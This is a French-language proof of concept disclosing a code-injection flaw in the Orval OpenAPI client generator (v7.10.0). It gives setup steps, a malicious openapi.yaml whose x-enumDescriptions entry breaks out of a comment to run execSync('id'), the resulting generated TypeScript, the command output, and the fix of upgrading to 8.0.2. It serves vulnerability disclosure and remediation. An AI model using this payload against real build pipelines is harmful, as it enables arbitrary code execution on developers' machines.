
Preuve de concept démontrant l'exécution de code arbitraire dans Orval via des champs OpenAPI malveillants, avec configuration, étapes d'exploitation et recommandations de remédiation.
Cette procédure démontre comment une spécification OpenAPI non fiable peut exploiter Orval pour injecter du code arbitraire dans les clients générés via les champs x-enumDescriptions et x-enumNames.
orval (par exemple, 7.10.0) :mkdir orval-poc
cd orval-poc
npm init -y
npm install [email protected] axios
orval.config.js :module.exports = {
test: {
input: './openapi.yaml',
output: {
target: './generated/api.ts',
schemas: './generated/model',
mode: 'split',
},
},
};
openapi.yaml avec le contenu suivant :openapi: 3.0.0
info:
title: Test API
version: 1.0.0
paths:
/test:
get:
responses:
'200':
description: OK
content:
application/json:
schema:
type: object
properties:
status:
$ref: '#/components/schemas/TestEnum'
components:
schemas:
TestEnum:
type: string
enum:
- VAL1
x-enumDescriptions:
- "*/ }; (function(){ const { execSync } = require('child_process'); console.log('ID_COMMAND_OUTPUT: ' + execSync('id').toString()); })(); export const Dummy = { /*"
npx orval
generated/model/testEnum.ts :/**
* Generated by orval v7.10.0 🍺
* Do not edit manually.
* Test API
* OpenAPI spec version: 1.0.0
*/
export type TestEnum = typeof TestEnum[keyof typeof TestEnum];
// eslint-disable-next-line @typescript-eslint/no-redeclare
export const TestEnum = {
/** */ }; (function(){ const { execSync } = require('child_process'); console.log('ID_COMMAND_OUTPUT: ' + execSync('id').toString()); })(); export const Dummy = { /* */
VAL1: 'VAL1',
} as const;
Créez un script d'exécution exploit.ts :
import { TestEnum } from './generated/model/testEnum';
console.log('TestEnum value:', TestEnum);
Exécutez-le avec tsx :
npm install -D tsx
npx tsx exploit.ts
Sortie :
🍻 Start orval v7.10.0 - A swagger client generator for typescript
🎉 test - Your OpenAPI spec has been converted into ready to use orval!
ID_COMMAND_OUTPUT: uid=1002(boroeurn) gid=1002(boroeurn) groups=1002(boroeurn),27(sudo),100(users),126(libvirt),986(docker),993(kvm)
TestEnum value: {}
Mettez à niveau Orval vers la version 8.0.2 ou ultérieure. Le correctif échappe correctement ces chaînes à l'aide de js-string-escape.